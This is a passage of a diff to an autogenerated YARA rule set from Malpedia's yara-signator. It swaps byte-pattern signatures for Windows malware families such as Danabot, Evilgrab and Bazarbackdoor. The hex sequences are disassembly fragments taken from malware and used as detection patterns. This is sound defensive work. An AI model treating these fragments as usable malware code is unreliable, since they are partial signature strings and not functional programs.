"https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pcshare_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "0875a91df86b2a6e691c8414a33ce11802859bc8c34fd58e245e57021b392621" + logic_hash = "2997345c16432720db338f1e799076d538b35e40830e87863ce57c0bb0f81979" score = 75 quality = 75 tags = "FILE" @@ -126263,32 +126144,32 @@ rule MALPEDIA_Win_Woodyrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? c745fcffffffff 83c404 8b4db0 8bf8 85c9 7411 } - $sequence_1 = { c7473400000000 c7473800000000 0f104624 0f114724 f30f7e4634 660fd64734 66894624 } - $sequence_2 = { 2bc1 c1f803 69f0abaaaaaa b8aaaaaa0a 8bce d1e9 2bc1 } - $sequence_3 = { 0f57c0 c707???????? 0f43c8 660fd64704 8d4704 c745a800000000 50 } - $sequence_4 = { ff15???????? 0f57c0 c78558ecffff00000000 660fd68550ecffff 6800010000 c78554ecffff20000000 c78558ecffff00010000 } - $sequence_5 = { 0f114630 e9???????? 8bc1 b9feffff7f 83c807 3dfeffff7f 0f47c1 } - $sequence_6 = { 7409 50 e8???????? 83c404 837dd000 8b45cc 7704 } - $sequence_7 = { 40 894dc8 50 ff75e0 51 e8???????? 8b45c0 } - $sequence_8 = { 50 8d8de4f9ffff e8???????? 8bbd10f9ffff 8d8dd8f9ffff 8b7f08 89bd10f9ffff } - $sequence_9 = { 899d44ffffff 50 52 c78540ffffff00000000 ff15???????? 6898000000 8d8558ffffff } + $sequence_0 = { 803c3800 75db 8b16 33c0 8a0c3a 5f 84c9 } + $sequence_1 = { 8db60c2c0610 6a00 50 ff36 e8???????? } + $sequence_2 = { 8b442450 3bc3 7425 33f6 8b0c06 } + $sequence_3 = { 81e20000ffff c7401400000000 0bca 89480c 8b4c2440 8b542438 } + $sequence_4 = { 8b4c242c 85c9 7510 3b5c2430 746b 43 } + $sequence_5 = { 8b01 03f8 8b5640 8b6e24 52 51 8bcc } + $sequence_6 = { 8b5b04 03d8 c60300 8b442428 50 } + $sequence_7 = { 8d0480 8d0c80 8d048a 3d35c83301 0f8cea000000 68???????? } + $sequence_8 = { 8b16 8d441a02 50 55 ff15???????? 85c0 890437 } + $sequence_9 = { 8b4548 8b4c241c 8b1408 8b442420 8b4c020c 8d44020c } condition: - 7 of them and filesize < 785408 + 7 of them and filesize < 893708 } -rule MALPEDIA_Win_Badaudio_Auto : FILE +rule MALPEDIA_Win_Danabot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "05c804a9-cf16-57d2-a80f-b619976bbd0d" + id = "d405be96-12b3-5521-8438-92276494b614" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badaudio" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badaudio_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danabot_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "a6c973b5c41c14ecfe9459d805cffcba8f5aa17e724a8b86913ac3f147c5345e" + logic_hash = "d0742d8634d1bfb6b6cd9fd56080ad6a40985205234e33c349c6b1c80cbce68a" score = 75 quality = 75 tags = "FILE" @@ -126302,32 +126183,32 @@ rule MALPEDIA_Win_Badaudio_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 886e09 88560d 886602 884e0a } - $sequence_1 = { c6470c00 807de000 0f8447ffffff 8b45dc c745dc00000000 8b4dd4 } - $sequence_2 = { 885c8103 40 83f83c 7463 8a7c81fc 0fb65481fd 0fb6f7 } - $sequence_3 = { f20f114030 f20f10442438 f20f114038 f20f108424e0000000 f20f114058 f20f108424d8000000 f20f114050 } - $sequence_4 = { 0f57d8 0f115c2411 0f10442461 0f104c2421 0f109424a1000000 } - $sequence_5 = { 8a4627 88431c 8a4626 88431d 8a4625 88431e 8a4624 } - $sequence_6 = { 8b540c48 89542438 83c104 894c2408 8b0c24 894c2430 } - $sequence_7 = { c7462800000000 c7462c0f000000 c6461800 f20f104010 f20f114310 } - $sequence_8 = { 8a442404 3287e4000000 884604 329fe5000000 885e05 3297e6000000 885606 } - $sequence_9 = { 0355e0 39d1 89d6 0f43f1 } + $sequence_0 = { 8b701c ad 0f1f00 8b4008 } + $sequence_1 = { 83f838 730b ba38000000 2bd0 } + $sequence_2 = { 8d45f8 50 6804010000 8d85e8fdffff 50 } + $sequence_3 = { e8???????? 8b03 50 8b442440 } + $sequence_4 = { e8???????? eb0e 8d541d00 8bc6 e8???????? 83c340 8d433f } + $sequence_5 = { 33c9 ba44000000 e8???????? c745b844000000 33c0 8945c0 } + $sequence_6 = { e8???????? 50 6aff 8bc6 e8???????? 50 6a01 } + $sequence_7 = { 8b55f4 8d45f8 e8???????? 8b55f8 8bc7 } + $sequence_8 = { 6a0e 8b45f8 50 ff15???????? 84c0 7447 33c0 } + $sequence_9 = { e8???????? 8bd8 8b17 8bc2 85c0 7407 83e804 } condition: - 7 of them and filesize < 1420288 + 7 of them and filesize < 237568 } -rule MALPEDIA_Win_Evilgrab_Auto : FILE +rule MALPEDIA_Win_Mosquito_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "262a5f1e-fc32-5e23-bc68-1916bf6229d5" + id = "34ccfc9c-1c07-526c-894b-5084961ae1c7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilgrab_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mosquito_auto.yar#L1-L177" license_url = "N/A" - logic_hash = "f2b39911d0e0c2e89edee53b595cd7abbfb96f83612f1946b2208648a7f155b2" + logic_hash = "4f8e972330c002e4476c43f04fdf320df70c4455b51cf01f5f99efe08713790b" score = 75 quality = 75 tags = "FILE" @@ -126341,34 +126222,43 @@ rule MALPEDIA_Win_Evilgrab_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b08 50 ff5108 83c8ff e9???????? 8b442410 50 } - $sequence_1 = { ff15???????? 894320 83f8ff 741e c785dce6ffff00000000 c6431601 6a46 } - $sequence_2 = { 0f8437feffff 8b442418 50 ff15???????? 5f 5e } - $sequence_3 = { 68ff000000 e8???????? 8bd0 b93f000000 33c0 8bfa f3ab } - $sequence_4 = { 55 56 3bc2 57 bd01000000 0f84ef010000 } - $sequence_5 = { c78514f6ffff00000000 b8???????? c3 8b8df0f5ffff 8b5124 89951cf6ffff b8???????? } - $sequence_6 = { ff8db4adffff 0f856dffffff 8d8dc0d2ffff 51 8bcb e8???????? e9???????? } - $sequence_7 = { 57 8d8de8adffff 51 8d95dcadffff 52 8d85e0adffff 50 } - $sequence_8 = { 33db 3bfb 7469 8b771c 3bf3 7462 395f20 } - $sequence_9 = { 83f802 0f84ca000000 83f801 7567 3be8 750b 56 } + $sequence_0 = { f7d8 1bc0 83e0b4 83c04c } + $sequence_1 = { 52 50 6a00 6801c1fd7d } + $sequence_2 = { 8bfc f3a5 ff942464020000 81c450020000 } + $sequence_3 = { 894b02 8bcf 8b17 ff5208 } + $sequence_4 = { 8b750c 57 894dfc 8d5e06 53 e8???????? 8bf8 } + $sequence_5 = { ff5010 85c0 7436 837dfc00 7409 } + $sequence_6 = { f3a5 ff942460020000 81c450020000 85c0 } + $sequence_7 = { e8???????? 6a20 8bf0 e8???????? 8bc8 } + $sequence_8 = { 51 8b55fc 52 8b45f8 50 ff15???????? 8b4dfc } + $sequence_9 = { 6801c1fd7d e8???????? 8bd8 eb02 } + $sequence_10 = { e8???????? 83c40c e8???????? 6a20 } + $sequence_11 = { 0000 006301 1000 7500 } + $sequence_12 = { ff15???????? 6a00 56 ff15???????? 8903 } + $sequence_13 = { 0000 006500 676c 0010 } + $sequence_14 = { 0000 00645657 8b7dc2 0400 } + $sequence_15 = { 0000 0032 08804d086440 5e } + $sequence_16 = { 0000 0001 1001 c550f0 8b8078005900 } + $sequence_17 = { 0000 0018 a0???????? 57 } + $sequence_18 = { 0000 00748078 3001 40 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 1015808 } -rule MALPEDIA_Win_Cadelspy_Auto : FILE +rule MALPEDIA_Win_Kleptoparasite_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "239b2d97-ceb8-5e5b-be90-aeb9b9fcf209" + id = "b0b0b352-347f-55af-9ff0-490ede9b4160" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cadelspy_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kleptoparasite_stealer_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "b4d9cbb0d8867220f80a8ce48db839eded436dcbd892904385e6486261b96542" - score = 75 - quality = 75 + logic_hash = "e5b373205c1fe87c3fe6e4fda207e494d76c79369af53b1f38b96981f46a089f" + score = 60 + quality = 35 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -126380,32 +126270,32 @@ rule MALPEDIA_Win_Cadelspy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3d01010000 7d0d 8a4c181c 888840360110 40 ebe9 } - $sequence_1 = { 7413 50 8b44241c 56 e8???????? 8bf8 59 } - $sequence_2 = { 89742424 e8???????? 33c0 bf06020000 57 6689842484040000 8d842486040000 } - $sequence_3 = { 8d9c2464020000 e8???????? 68???????? 8d9c2464020000 e8???????? } - $sequence_4 = { 8d859e000000 50 e8???????? 83c40c 56 8d859c000000 50 } - $sequence_5 = { 89742424 89742428 8974242c 89742430 89742434 89742438 e8???????? } - $sequence_6 = { 56 57 33ff 8db7b03e0110 ff36 e8???????? } - $sequence_7 = { ff742414 ffd3 8bc6 e8???????? 33c0 40 eb02 } - $sequence_8 = { 40 8b8d94260000 5f 5e 33cd 5b e8???????? } - $sequence_9 = { 39742414 0f84d3000000 397508 7474 8b4508 } + $sequence_0 = { c3 e9???????? 55 8bec 56 e8???????? 8bf0 } + $sequence_1 = { cc 55 8bec 56 e8???????? 8b7508 6a02 } + $sequence_2 = { b8???????? c3 e9???????? 55 8bec 56 e8???????? } + $sequence_3 = { 895104 8be5 5d c3 3b0d???????? 7502 f3c3 } + $sequence_4 = { 7405 8901 895104 8be5 5d c3 3b0d???????? } + $sequence_5 = { cc 55 8bec 56 e8???????? 8b7508 } + $sequence_6 = { 59 c3 6a10 68???????? e8???????? 33ff 897de0 } + $sequence_7 = { 895104 8be5 5d c3 3b0d???????? } + $sequence_8 = { 895104 8be5 5d c3 3b0d???????? 7502 } + $sequence_9 = { e8???????? cc 55 8bec 56 e8???????? 8b7508 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 3006464 } -rule MALPEDIA_Win_Toughprogress_Auto : FILE +rule MALPEDIA_Win_Unidentified_078_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f7aead55-8a03-5bbf-af11-1841c77b5719" + id = "be01d120-44f2-52e2-a1fa-8d3ce9aeac2c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.toughprogress" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.toughprogress_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_078_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "639d2f4f2de7d57a54ced0a82f1a1b4924ec9dac72884175b29f7cbb63a0d4bc" + logic_hash = "e6046ec69321f4df1e212f93ebf4122d030058a32e3fabef5fe6e0f5f1575a85" score = 75 quality = 75 tags = "FILE" @@ -126419,32 +126309,32 @@ rule MALPEDIA_Win_Toughprogress_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48b93448af150d8462e4 4801c8 4c89e1 ffd0 488b05???????? 48b93b8ce2c7a3ecddc7 488b0408 } - $sequence_1 = { ffd7 0f104508 0f104d18 0f105524 410f1154244c 410f114c2440 410f11442430 } - $sequence_2 = { 48b93f5d14dd8256b94f 488b0408 4c01e8 4c89f9 4889fa 4189e8 ffd0 } - $sequence_3 = { ffd0 898688000000 488d8e8c000000 488b05???????? 48bab6b1569bc6a2bb92 48033c10 ffd7 } - $sequence_4 = { bd05000000 8d42cf 49bee5819fecd253eebe 83f809 0f8364020000 49bfdd819fecd253eebe 0f1f440000 } - $sequence_5 = { 4989d3 4983e307 7420 4531d2 6690 420fbe3c11 66418938 } - $sequence_6 = { 56 4883ec20 4889ce 488b05???????? 48b90d1dc3fe89299d3f 48ba098af7fc2873d775 48031408 } - $sequence_7 = { 884101 440fb64202 4489c0 34e2 4420c0 4189c1 4180e1fa } - $sequence_8 = { 84c0 0f85b2030000 488b07 4c8b36 0fb64f08 baffffffff 41baffffffff } - $sequence_9 = { 4d89c6 4889d6 488b05???????? 49b89bc488db85ad3022 48baadb54d2cbea5f70f 4a8b0400 4801d0 } + $sequence_0 = { 0f8412010000 0f8cee000000 80fa0d 0f8421010000 80fa1b 0f8576010000 } + $sequence_1 = { 0f8d94010000 80fa26 0f8f18010000 80fa23 0f8d82010000 } + $sequence_2 = { 80fa5c 0f94c1 80fa2f 0f94c2 08d1 } + $sequence_3 = { 3c18 0f8483000000 3c1c 740d 3c16 } + $sequence_4 = { e9???????? 80fa0c 0f8412010000 0f8cee000000 80fa0d } + $sequence_5 = { 89d6 0f883a020000 80fa21 0f8f8f000000 80fa20 0f8d28020000 } + $sequence_6 = { a910000108 753f a900004011 7521 a900000600 7467 } + $sequence_7 = { ff15???????? 85c0 740e e8???????? 31d2 89c1 e8???????? } + $sequence_8 = { b901010000 ff15???????? 85c0 740e } + $sequence_9 = { 0f8421010000 80fa1b 0f8576010000 ba02000000 e8???????? } condition: - 7 of them and filesize < 3117056 + 7 of them and filesize < 688128 } -rule MALPEDIA_Win_Stabuniq_Auto : FILE +rule MALPEDIA_Win_Deadwood_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4275e6d0-94cf-5d7a-8be9-58ce93adc0df" + id = "b63793f4-2418-5ad7-9269-78c13c5e655b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stabuniq_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deadwood_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "27eb79a741b72a16cbff924e64623723e98e0bb2251ce5257f82f37046f960f7" + logic_hash = "37c079b3ff282377b03776f4a709dbdd660de9909aaf5ffcbe15f9216992b56f" score = 75 quality = 75 tags = "FILE" @@ -126458,32 +126348,32 @@ rule MALPEDIA_Win_Stabuniq_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a05 8b55fc 52 8b4510 } - $sequence_1 = { 8b913c020000 52 8b45ec 50 8b4df0 51 8b5508 } - $sequence_2 = { 8b4508 50 8b4df8 ff91ec000000 8945fc 8b55f0 83ea04 } - $sequence_3 = { 8b55fc 52 8b4514 05ab0e0000 50 8b4d0c 51 } - $sequence_4 = { 8b4d0c 8d9401b2170000 52 8d85f8fdffff 50 8b4d0c ff5130 } - $sequence_5 = { 50 8b8d24fdffff 51 8b5510 ff520c 6a40 } - $sequence_6 = { 85c0 7535 8b8decfbffff 6bc928 8b5510 8d840ab2170000 50 } - $sequence_7 = { c745f800000000 837dfc00 7e32 8b55f8 83c201 8955f8 8b45fc } - $sequence_8 = { 83ba8000000000 750a b801000000 e9???????? 8b45f0 8b8880000000 034d08 } - $sequence_9 = { 8b4510 8b4d18 8a9411dc0e0000 8810 8b4510 83c001 } + $sequence_0 = { b9???????? c645fcc6 e8???????? 68???????? b9???????? c645fcc7 } + $sequence_1 = { 68f0d8ffff 57 56 e8???????? 89442428 8954242c } + $sequence_2 = { e8???????? 33c0 e9???????? 8975e4 33c0 39b8a0e34600 0f8491000000 } + $sequence_3 = { c1f803 57 83f828 0f8e27010000 40 99 83e207 } + $sequence_4 = { 895e14 385d0c 7409 c745e858f54500 eb06 8b4008 8945e8 } + $sequence_5 = { 52 c745fc04000000 e8???????? 8d4dd0 8d851cffffff e8???????? } + $sequence_6 = { 57 897dfc 57 c745c801000000 ff15???????? 8bf8 897dd0 } + $sequence_7 = { 57 33db 6807020000 8d85f5fdffff 53 50 8bf1 } + $sequence_8 = { 8bc2 c1e81f 03c2 03f8 83c40c 897d14 85f6 } + $sequence_9 = { ffd5 8b4c241c 64890d00000000 59 5f 5e 5d } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 1055744 } -rule MALPEDIA_Win_Gearshift_Auto : FILE +rule MALPEDIA_Win_Dusttrap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5cb12abd-628a-5169-a5df-e2c33952153a" + id = "6dc8c0b6-03e4-543a-8235-ad282f751715" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gearshift_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dusttrap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dusttrap_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "e8d3111d44f6324e90544c2ebdde13a938df2e4a9f50331b57f760f4ee12b3d4" + logic_hash = "99d0157bbc57f142e4b3ca02f7a6fc667dbe8aaf793dc492ed4ef3b4577c5d17" score = 75 quality = 75 tags = "FILE" @@ -126497,32 +126387,32 @@ rule MALPEDIA_Win_Gearshift_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883ec20 85c9 7871 3b0d???????? 7369 4863d9 488d2dff1a0300 } - $sequence_1 = { 48895c2408 4889742410 48897c2418 498bf8 8bda 488bf1 443bca } - $sequence_2 = { e8???????? e9???????? 488b442450 488d0db7350300 488b04c1 41f644070840 } - $sequence_3 = { 4883c310 48ffce 75d4 488d1def070300 } - $sequence_4 = { 8b4ffc 41b940000000 41b800100000 488bd0 4903ce 488bd8 } - $sequence_5 = { 488b4c2430 4885c9 7406 ff15???????? 8bc7 eb02 } - $sequence_6 = { e8???????? 33c9 3d00040000 7510 e8???????? b801000000 4883c430 } - $sequence_7 = { 4883c328 0fb74806 443bf9 0f8c50ffffff 488b4500 8b4828 } - $sequence_8 = { 0f84ca020000 488d05d13b0300 4a8b04e0 41f644070880 0f84b3020000 e8???????? 33db } - $sequence_9 = { 488d542434 8bc8 ff15???????? 33c0 488d542438 } + $sequence_0 = { 4133c0 c1e008 33c2 4389848c40ec0200 c1c008 } + $sequence_1 = { 492bf4 75a9 488b9c24b80a0000 488bbc24a80a0000 4c8bbc24980a0000 4c8bac24a00a0000 488bb424b00a0000 } + $sequence_2 = { 478b9c8240dc0200 48c1e918 45339c9240e80200 41c1ef08 410fb6d7 4c8d3d5257ffff 45339c8a40d80200 } + $sequence_3 = { 4c8bf9 33d2 488b0d???????? 8bf5 488b89f8000000 e8???????? } + $sequence_4 = { 488bbc24a80a0000 4c8bbc24980a0000 4c8bac24a00a0000 488bb424b00a0000 4d85f6 743f 488b0d???????? } + $sequence_5 = { e8???????? 8bf0 85c0 0f85f4000000 0f57c0 } + $sequence_6 = { 498d4e30 4533c0 baa00f0000 e8???????? 488b05???????? 4c8d0539810100 488bd5 } + $sequence_7 = { 448bf6 4903df 4981c600ffffff 33d2 41b820030000 4c03f3 e8???????? } + $sequence_8 = { 89442420 488b8988010000 448d4204 e8???????? 488b0d???????? 488d8424d0000000 48896c2458 } + $sequence_9 = { 488b4108 488d4908 488902 488d5208 } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 421888 } -rule MALPEDIA_Win_Buer_Auto : FILE +rule MALPEDIA_Win_Ployx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "89828c66-91da-5c73-b764-daf37491e283" + id = "61ab771e-15a5-5bf0-85c3-97759fe60e6e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buer_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ployx_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "841b3dfa43e2148141873077b2e81e7484da2dab92e27c89fccfead95f717524" + logic_hash = "cb7aed624d5d0c844199f7121f6160ab6100f3d910b00c22bede0a77fbaeb62d" score = 75 quality = 75 tags = "FILE" @@ -126536,25 +126426,19 @@ rule MALPEDIA_Win_Buer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b45dc 03c6 89414c 8b45fc 03c7 894150 8b45ec } - $sequence_1 = { 8b55e8 015158 8b55d8 894148 } - $sequence_2 = { 8b00 8b4010 8945fc 61 8b45fc } - $sequence_3 = { 3bc7 7d0f 8a0c46 880c18 40 } - $sequence_4 = { 8b7b50 8b4340 0345f8 8b5b54 } - $sequence_5 = { 8b45f4 03c1 8bcb 894144 8b45f0 } - $sequence_6 = { 64a130000000 8b400c 8b4014 8b00 8b4010 } - $sequence_7 = { 8bc2 eb19 33c0 85d2 7e13 3bc7 7d0f } - $sequence_8 = { 01cf 29ce 75a7 e9???????? } - $sequence_9 = { 01de 39d6 0f8384000000 8b742414 } - $sequence_10 = { 01c7 0fa5da d3e3 8b4c2444 } - $sequence_11 = { 0facd313 884e04 8b74247c 8bc6 8b4c2440 } - $sequence_12 = { 0fb617 47 89f9 83e23f eb11 } - $sequence_13 = { 01fe 68???????? e8???????? a1???????? } - $sequence_14 = { 0f82d1000000 83f8fe 0f83d1000000 89d6 } - $sequence_15 = { 01de 39c1 0f47c1 89c1 89442420 662e0f1f840000000000 39f9 } + $sequence_0 = { 8d85a4feffff 68???????? 50 e8???????? 8d85a4feffff 68???????? 50 } + $sequence_1 = { 81f9???????? 7ce7 5b 8bc6 5f 5e c20400 } + $sequence_2 = { 83c418 8945f4 85c0 746f 50 e8???????? 50 } + $sequence_3 = { e8???????? 8bf8 8b4d08 47 47 8d0437 50 } + $sequence_4 = { 0f8584000000 8d45d4 50 e8???????? } + $sequence_5 = { 03c1 99 f7f9 8bf2 83c608 85f6 7e42 } + $sequence_6 = { 33ff 99 59 f7f9 8bc2 03c1 99 } + $sequence_7 = { aa 53 8d442414 50 ff15???????? 8d442410 68???????? } + $sequence_8 = { 880c30 40 0fb64dfc 8a89d8302700 880c30 40 0fb6ca } + $sequence_9 = { 83c42c 0005???????? bd???????? bb04010000 55 53 } condition: - 7 of them and filesize < 3031040 + 7 of them and filesize < 229376 } rule MALPEDIA_Win_Bitsran_Auto : FILE { @@ -126595,55 +126479,18 @@ rule MALPEDIA_Win_Bitsran_Auto : FILE condition: 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Ymir_Auto : FILE -{ - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ec16ddc4-25ef-5b31-b796-dd562960b36b" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ymir" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ymir_auto.yar#L1-L92" - license_url = "N/A" - logic_hash = "853e5b985d29c6039b89b0f82cf98458f3d83850f989fe396b592ab8b2bdf1fe" - score = 75 - quality = 75 - tags = "FILE" - version = "1" - tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 4c89ea 4889c1 4c0f47c3 e8???????? } - $sequence_1 = { 4c89ea 4889cb ff5078 488d05a7211000 } - $sequence_2 = { 4c89ea 4889d9 41ff14fe eb85 } - $sequence_3 = { 4c89ea 4889c1 4989c4 e8???????? 488d1573bf0400 31c9 } - $sequence_4 = { 4c89ea 4889c7 488d05ec682800 4c8d3585682800 } - $sequence_5 = { 4c89ea 4889c6 498b0424 c744242001000000 } - $sequence_6 = { 4c89ea 4889d9 488ba8d8000000 4889ac2488000000 } - $sequence_7 = { 4c89ea 4889c1 e8???????? 4189f2 } - - condition: - 7 of them and filesize < 5530624 -} -rule MALPEDIA_Win_Kwampirs_Auto : FILE +rule MALPEDIA_Win_Gcman_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a88d76d0-b266-5ba2-9e4c-b6324e74f1af" + id = "5cac84ae-f553-54c6-a2ab-9c6f483e5d7f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kwampirs_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gcman_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "47dcb9c842442be04bc0bae4d6dd96d075eca81ceae0f2c5424da9336b167768" + logic_hash = "6db65719f209f972eea7f56ad4db94ab537c244677bf2af532fb68763547fbd8" score = 75 quality = 75 tags = "FILE" @@ -126657,34 +126504,34 @@ rule MALPEDIA_Win_Kwampirs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 391f 0f95c0 8b4df0 64890d00000000 59 5f 5e } - $sequence_1 = { 83c418 85c0 7512 8b07 50 e8???????? 83c404 } - $sequence_2 = { 391f 0f95c0 8b4df0 64890d00000000 } - $sequence_3 = { 52 50 8d8dbcf3ffff 51 } - $sequence_4 = { 33d2 668955f6 e8???????? 83c40c } - $sequence_5 = { ffd6 8b45c0 50 ffd6 } - $sequence_6 = { 50 ffd6 8b4dc4 51 ffd6 } - $sequence_7 = { 668955f6 e8???????? 83c40c 33d2 } - $sequence_8 = { c745fcfeffffff e8???????? b001 8b4df0 } - $sequence_9 = { 33d2 6816060000 52 8d85bef3ffff 50 } + $sequence_0 = { 01d9 89de 31c6 21ce 31c6 0375c4 01f2 } + $sequence_1 = { 8d45d4 89442408 c744240413000020 8b45e4 890424 e8???????? } + $sequence_2 = { 89ce 31de 21c6 31de 0375a8 } + $sequence_3 = { 31c6 0375b4 01f1 81e979f22a0b c1c10e 01d9 } + $sequence_4 = { 89442408 8b4510 89442404 8b45e8 890424 e8???????? } + $sequence_5 = { 8b4508 40 0fb600 c0e804 240f 0202 8801 } + $sequence_6 = { c1e818 8802 8b550c 83c254 8b450c 8b4014 } + $sequence_7 = { 40 8945f4 eb0c 8d45e0 } + $sequence_8 = { 01c3 89de 31c6 31d6 0375d4 01f1 81c122619d6d } + $sequence_9 = { 890424 e8???????? 8b45ec 8945f4 8b45f4 803800 741f } condition: - 7 of them and filesize < 2695168 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Stration_Auto : FILE +rule MALPEDIA_Win_Bazarbackdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "41dc722e-36ee-57b1-9a26-7229c2369407" + id = "2eb10499-a33e-504f-b2b6-402a6cc658a9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stration" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stration_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor" + source_url = 